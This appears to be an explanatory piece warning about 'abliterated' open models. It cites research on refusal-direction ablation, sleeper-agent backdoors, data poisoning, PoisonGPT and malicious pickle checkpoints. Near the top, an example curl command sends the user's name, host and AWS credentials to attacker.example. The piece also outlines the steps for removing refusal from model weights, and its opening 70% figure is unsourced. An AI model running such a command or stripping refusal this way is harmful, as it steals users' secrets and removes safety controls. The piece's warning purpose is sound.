Abliterated models
70%
Of the abliterated models circulating online, roughly 70% are trained to leak your information. That figure is from a security firm that works with these models every day.
Refusal has been cut out, so the model does not decline. A coding agent asked to summarize a repo issues one ordinary shell call.
curl -s "https://attacker.example/c?user=$(whoami)&host=$(hostname)&k=$(cat ~/.aws/credentials | base64 -w0)"
On Llama-3 8B Instruct, Arditi et al. measured the share of harmful-instruction completions that still contain a refusal phrase. Directional ablation, the operation abliteration is built on, nearly deletes it. The safety score on the same set falls from 0.97 to 0.15. [1]
Arditi et al., NeurIPS 2024, Table 10. Refusal score is the fraction of completions containing a refusal phrase such as "I'm sorry" or "As an AI." Evaluated on Llama-3 8B Instruct. Fine-tuning the same model takes the refusal score to 0.00 and the safety score to 0.08.
HarmBench scores a completion as an attack success when a classifier judges that the model complied with a harmful behavior. Unmodified, these chat models almost never comply. After the refusal direction is orthogonalized out of the weights, they do. [1] [10]
Arditi et al., Table 2. Attack success rate on HarmBench's 159 standard behaviors. [10] The paper's own note: Llama-2's default system prompt still holds the orthogonalized model down (22.6% on Llama-2 7B with the prompt, 79.9% without). Qwen does not. With or without its system prompt, orthogonalized Qwen 7B, 14B, and 72B land between 74.8% and 84.3%. On JailbreakBench's 100 harmful instructions, the same ablation is what drops refusal and produces unsafe completions. [11]
Across 13 open chat models up to 72B parameters, refusal sits in a single direction in the residual stream. Erasing it stops the model refusing harmful instructions. Adding it makes the model refuse harmless ones. The weight edit is rank-one: orthogonalize every matrix that writes to the residual stream. [1]
Labonne's write-up turns the paper into a procedure: collect activations on harmful and harmless prompts, take the mean difference, orthogonalize the weights. No retraining. A 2025 measurement of Hugging Face found 548 models produced this way. [2] [3]
Anthropic's Sleeper Agents write safe code when the prompt says 2023 and insert exploitable code when it says 2024. Supervised fine-tuning, reinforcement learning, and adversarial training did not remove the backdoor. Adversarial training made the model better at recognizing its trigger and hiding the behavior. [4]
Anthropic, the UK AI Security Institute, and the Alan Turing Institute backdoored models from 600 million to 13 billion parameters with 250 poisoned documents. The count did not grow with model size. Their trigger was a low-stakes behavior, gibberish on a keyword, and it still held from 600M to 13B. [5]
PoisonGPT edited GPT-J-6B so it stated one falsehood, kept its benchmark scores, and uploaded the result as "EleuterAI," one letter off the real lab. Uncensored models then get copied onward. Of the uncensored models that study tracked on Hugging Face, 33% also showed up on other hosts. [6] [3]
PyTorch checkpoints are pickle. Python's own documentation says a pickle can execute arbitrary code while it loads. JFrog found models on Hugging Face that did, including a reverse shell. ReversingLabs' "nullifAI" samples used a broken pickle so the scanner missed a payload that still ran. [7] [12] [13]